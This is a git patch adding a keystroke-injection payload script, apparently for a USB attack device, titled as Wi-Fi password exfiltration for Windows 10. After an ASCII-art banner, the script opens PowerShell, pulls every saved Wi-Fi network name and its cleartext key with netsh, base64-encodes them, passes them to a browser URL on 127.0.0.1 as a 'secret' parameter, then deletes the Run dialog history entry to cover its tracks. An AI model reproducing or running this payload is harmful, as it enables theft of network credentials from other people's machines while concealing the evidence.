From d55089f0fa5b5addbaf84b18ed7f93a4546ea4f3 Mon Sep 17 00:00:00 2001 From: Zarcolio Date: Sat, 22 Apr 2023 21:31:44 +0200 Subject: [PATCH] Add files via upload --- Exfill-Wifi-Pwd-Win10.txt | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 Exfill-Wifi-Pwd-Win10.txt diff --git a/Exfill-Wifi-Pwd-Win10.txt b/Exfill-Wifi-Pwd-Win10.txt new file mode 100644 index 0000000..91f7328 --- /dev/null +++ b/Exfill-Wifi-Pwd-Win10.txt @@ -0,0 +1,24 @@ +REM _..._ .-'''-. .-'''-. +REM .-'_..._''. ' _ \ .---. ' _ \ +REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \ +REM || .-. .- / .' . | \ ' | ||__|. | \ ' +REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | ' +REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / / +REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' / +REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'` +REM || | | \ ` / / / `" __ | | | | '- \ '. . | || | +REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__| +REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---' +REM ' `'-'`|`-' / | |\ \._,\ '/|_| ` +REM '..' |_________| `--' `" + +DELAY 1000 +GUI r +DELAY 500 +STRING powershell +ENTER +DELAY 1000 +ALTCODE $base64output=[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(((netsh wlan show profiles|Select-String "All User Profile\s+:\s+(.+)$"|ForEach-Object{$_.Matches.Groups[1].Value})|ForEach-Object{ "Wifi: $_`r`n";netsh wlan show profile name=$_ key=clear|Select-String "Key Content\s+:\s+(.+)$"|ForEach-Object{"Password: $($_.Matches.Groups[1].Value)`r`n"}})-join ""));Start-Process "microsoft-edge:http://127.0.0.1?secret=$base64output";$HKCU = [Microsoft.Win32.Registry]::CurrentUser; $RunMRU = 'Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU'; $RunMRUKey = $HKCU.OpenSubKey($RunMRU, $true); if ($RunMRUKey -ne $null) { $values = $RunMRUKey.GetValueNames(); if ($values.Length -gt 0) { $lastValue = $values[$values.Length - 1]; $RunMRUKey.DeleteValue($lastValue)}} +ENTER +WAIT_FOR_BUTTON_PRESS +ALT F4 \ No newline at end of file